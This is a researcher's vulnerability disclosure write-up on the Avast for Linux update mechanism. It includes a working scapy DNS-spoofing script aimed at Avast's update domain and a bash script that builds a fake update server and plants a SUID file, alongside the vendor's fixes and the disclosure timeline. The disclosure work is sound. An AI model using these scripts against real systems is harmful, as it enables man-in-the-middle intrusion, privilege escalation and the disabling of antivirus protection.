Pwning Antivirus: Avast for Linux and exploit in update mechanism


Avast for Linux Update Mechanism

1. Server Data Architecture

Avast Antivirus implements a distributed update system, combining full updates and delta updates to optimize time and network bandwidth. Specifically:

The vps9.lat file serves as a global version index. The client uses this file to compare with the locally installed version to determine if an update is necessary.

The .inf files contain information about checksums, the version to be updated, and specify whether to use a patch (.dif) or a full update (.ful).

Avast on the user's machine uses server information to automatically select the appropriate update method.

In cases where a patch cannot be applied or verification errors occur, the system switches to downloading .ful, a compressed full database package.

For delta updates, Avast downloads .dif, a binary patch representing the differences between versions. The bdiff algorithm is used to process this patch.

2. Client Data Architecture

The update directory at /var/lib/avast/Setup/filedir stores update data from the server.

  • vps9.lat: Stores the current version of the vps9.raw file.

  • vps9.raw: Used for delta updates. This is a compressed POSIX tar file containing signatures and the engine.

    Indeed, simply changing the .raw extension to .tar allows the data to be extracted. The extracted data includes libraries and the Avast database.

The database directory at /var/lib/avast/defs/ stores the extracted database from the .raw file, used by Avast's engine.

  • The aswdefs.ini file stores the version number of the current database.

  • The database directory is named after the current version number.

    In addition to Avast's signatures and libraries, the database directory contains two manifest files: list_d.txt and list_i.txt.

    These two files store information, including the list of files used by Avast and their checksums.

    These checksums ensure the integrity of the manifest data, preventing tampering.

3. Update Logic Flow and Weaknesses

Avast uses the bash script /usr/lib/avast/vpsupdate for updates. This script uses curl and md5sum to download and verify files. The update logic flow is as follows:

  1. Updates are performed at the URL https://linux-av.u.avcdn.net/linux-av/avast/x86_64/vps9/. The program first checks the latest version on the server via the vps9.lat file. Then, based on client conditions, it decides the update method.

  2. Download and update the database:

    • For a full update:

      • Download the latest .ful database file.
      • Extract the .raw file (inside .ful) to a temporary directory in /tmp/.
      • Verify the MD5 of the .raw file against the manifest's MD5. If they match, move the .raw and .lat files to /var/lib/avast/Setup/filedir/.
    • For a patch update:

      • Download one or more .dif files.
      • Use bdiff to patch the .raw file in /var/lib/avast/Setup/filedir/.
      • Verify the MD5 of the newly patched .raw file against the manifest's MD5. If they match, create a new .lat file.
  3. Create a database directory at /var/lib/avast/defs/<version_name>. All data from the .raw file is extracted and written to this new directory.

  4. Restart Avast using /usr/lib/avast/submit --flush --quiet.

The weaknesses in this logic are as follows:

  1. Use of HTTP protocol for updates: This is an unauthenticated protocol. A threat actor could use DNS spoofing when on the same network to redirect the update process to an untrusted server.

  2. Lack of database data verification: In steps 2 and 3, only MD5 is used. Applying the latest database data before verifying files (in the temporary directory) allows a threat actor to write arbitrary files to Avast’s database directory. This could include SUID files or a corrupted database, causing Avast’s protection system to fail.

In addition to the listed weaknesses, the complexity of the logic involving data processing between server and client, as well as interactions between the update service and system resources, introduces other vulnerabilities. These will be analyzed in more detail.


Weakness Details, Exploitation, and Patches

1. DNS Spoofing Attack on HTTP Protocol

The server URL is stored in /etc/avast/vps.conf. By default, it uses the HTTP protocol:

Since HTTP is an unauthenticated protocol, a threat actor can perform ARP spoofing and DNS spoofing to redirect the update process to a server they control.

First, the threat actor uses the arpspoof tool to redirect packets to their machine, intercepting DNS resolution requests to enable DNS spoofing.

Next, the threat actor uses the following Python script for DNS spoofing:

#!/usr/bin/env python3

from scapy.all import *
import sys

# Define the target IP address
iface = "wlo1"
victim_ip = "192.168.57.117"  # Replace with the target machine IP
spoofed_domain = "linux-av.u.avcdn.net"  # Domain you want to spoof
spoofed_ip = "192.168.57.192"  # Fake IP address to redirect the target to

def dns_spoof(packet):
    # Filter for DNS response
    if packet.haslayer(DNS) and packet[DNS].qr == 0:  # DNS query (qr=0 means a query)
        # Check if the query is for the domain we want to spoof
        if spoofed_domain in str(packet[DNS].qd.qname):
            print(f"[*] Spoofing DNS response for {spoofed_domain}")

            # Craft the spoofed DNS response
            spoofed_response = IP(dst=packet[IP].src, src=packet[IP].dst) / \
                               UDP(dport=packet[UDP].sport, sport=packet[UDP].dport) / \
                               DNS(id=packet[DNS].id, qr=1, aa=1, qd=packet[DNS].qd, 
                                   an=DNSRR(rrname=packet[DNS].qd.qname, ttl=10, rdata=spoofed_ip))

            # Send the spoofed DNS response
            send(spoofed_response, verbose=0)
            print(f"[+] Sent spoofed DNS response to {victim_ip} for {spoofed_domain} -> {spoofed_ip}")

# Start sniffing traffic and call dns_spoof on each packet
try:
    print("[*] Starting DNS spoofing attack...")
    sniff(filter=f"udp port 53 and ip src {victim_ip}", prn=dns_spoof, iface=iface)
except KeyboardInterrupt:
    print("\n[!] Attack interrupted. Exiting...")
    sys.exit(0)
`

The script’s output shows that the victim’s DNS resolution request has been spoofed by the threat actor.

Thus, the threat actor manipulates the client’s connection flow. By combining ARP spoofing and DNS spoofing, the data flow is redirected to a malicious server controlled by the hacker.

To address this weakness, Avast switched the default URL to HTTPS.

2. Spoofed Update Data Attack

As analyzed, steps 2 and 3 of the update process do not verify authenticity and integrity. Thus, as long as a compressed file with a valid structure is created, a threat actor can spoof the database and manipulate the update process. Possible impacts include:

  1. Creating corrupted signatures, causing Avast’s engine to stop functioning.

  2. Writing arbitrary files to /var/lib/avast/defs/<version>/. These could include malicious files or SUID files to facilitate privilege escalation.

To exploit this, the threat actor creates spoofed update data as follows:

  1. Create malicious data.

  2. Create a compressed .ful file and its manifest.

  3. Create a manifest for the .raw file.

  4. Create a manifest containing the new update version.

This process can be automated with the following bash script:

#!/bin/bash
NEW_VERSION=$(tr -dc A-Za-z0-9 </dev/urandom | head -c 13; echo)
FAKE_DATA=$(tr -dc A-Za-z0-9 </dev/urandom | head -c 13; echo)
DOC_ROOT="/var/www/html/linux-av/avast/x86_64/vps9/"

function rm_documentroot_files() {
  rm -f /var/www/html/linux-av/avast/x86_64/vps9/*
}

function create_fake_update() {
  mkdir -p /var/www/html/linux-av/avast/x86_64/vps9/
  # create fake file of full update
  echo $FAKE_DATA > hehe.txt
  chmod 4755 hehe.txt

  # Create zip file for .ful
  tar -czf vps9${NEW_VERSION}.ful hehe.txt

  # Create info file for metadata
  ## Get checksum from raw file
  gunzip -c vps9${NEW_VERSION}.ful > tmp.raw
  CKSUM_DATA=$(md5sum tmp.raw|cut -d " " -f 1)

  # Create metadata and update file
  echo "MD5=${CKSUM_DATA}" > ${DOC_ROOT}/vps9${NEW_VERSION}.inf
  mv vps9${NEW_VERSION}.ful ${DOC_ROOT}/vps9${NEW_VERSION}.ful
}

function create_lat_file() {
  # Create lat file
  echo ${NEW_VERSION} > ${DOC_ROOT}/vps9.lat
}

function rm_tmp_file() {
  # Remove template generated files
  rm -f tmp.raw hehe.txt *.ful
}

rm_documentroot_files
create_fake_update
create_lat_file
rm_tmp_file

Running the script creates spoofed data, as shown below:

By combining with a Man-in-the-Middle attack, the vpsupdate program updates from the hacker’s server.

The malicious file created by the threat actor retains SUID permissions when written to the victim’s machine.

Additionally, a database directory lacking necessary files or containing corrupted files will prevent Avast from functioning.

To fix this, the update program uses the /usr/bin/avast binary to verify data (extracted to a temporary directory) before applying it.

Thus, the program terminates if problematic data is detected, instead of replacing old data with new.

Interestingly, during patch diff analysis, I discovered this feature was already present in older Avast versions but was not used due to developer oversight (until reported).

3. Update Process Runs with Unnecessary Privileges

During discussions with the vendor, I learned that Avast’s update process is executed by the avast user. Indeed, the update program runs under a systemd timer with the avast owner.

However, the demo ran the update script successfully with root privileges, resulting in the new database having root ownership.

Thus, if an administrator manually runs the update, two scenarios may occur:

  1. The administrator logs in as root and performs the update.

  2. The administrator uses a sudoers account and runs the update with sudo.

In both cases, the administrator mistakenly runs the update as root instead of avast (e.g., sudo -u avast /usr/lib/avast/vpsupdate). This results in the database being owned by root, leading to:

  1. Avast likely failing to update new data, as the systemd unit (running as avast) cannot overwrite root-owned files.

  2. If exploited during a manual update, an SUID file would have root ownership, granting the malware the highest system privileges.

To address this, Avast checks the process owner and runs the script with lower privileges.

Note: This weakness was identified and fixed by the vendor. Detailed analysis was conducted after discussions with the vendor on April 30.

4. Failure to Verify Version Number Validity

As analyzed in step 3, the update process creates the directory /var/lib/avast/defs/<version_name> and writes update data to it. The version_name value is taken from the vps9.lat file without validating its legitimacy.

Theoretically, a threat actor could exploit this to perform a path traversal attack combined with other vulnerabilities to write files to other system locations. If written to sensitive locations, malware could auto-execute via crontab or after a system reboot. However, the data processing uses the PACKAGE variable to create paths in the temporary directory, always prefixing with vps9. Special version values for path traversal would result in a path like ”vps9” + <path>, which the system interprets as a non-existent vps9 directory, causing the program to error and stop.

Although this weakness is not exploitable, Avast mitigated it by validating version values, allowing only integer characters from 0 to 9.

Timeline

  • Q2/2023: Discovered attack surface.

  • August 2024: Conducted research and exploitation.

  • September 27, 2024: Submitted bug report to Avast via BugCrowd.

  • April 17, 2025: Discovered Avast v4.6 fixed the issue. Contacted Avast’s point of contact.

  • April 30, 2025: Avast confirmed the issue.

  • May 28, 2025: Issue disclosed with the code CVE-2025-4134.


0
Subscribe to my newsletter

Read articles from Nông Hoàng Tú directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Nông Hoàng Tú
Nông Hoàng Tú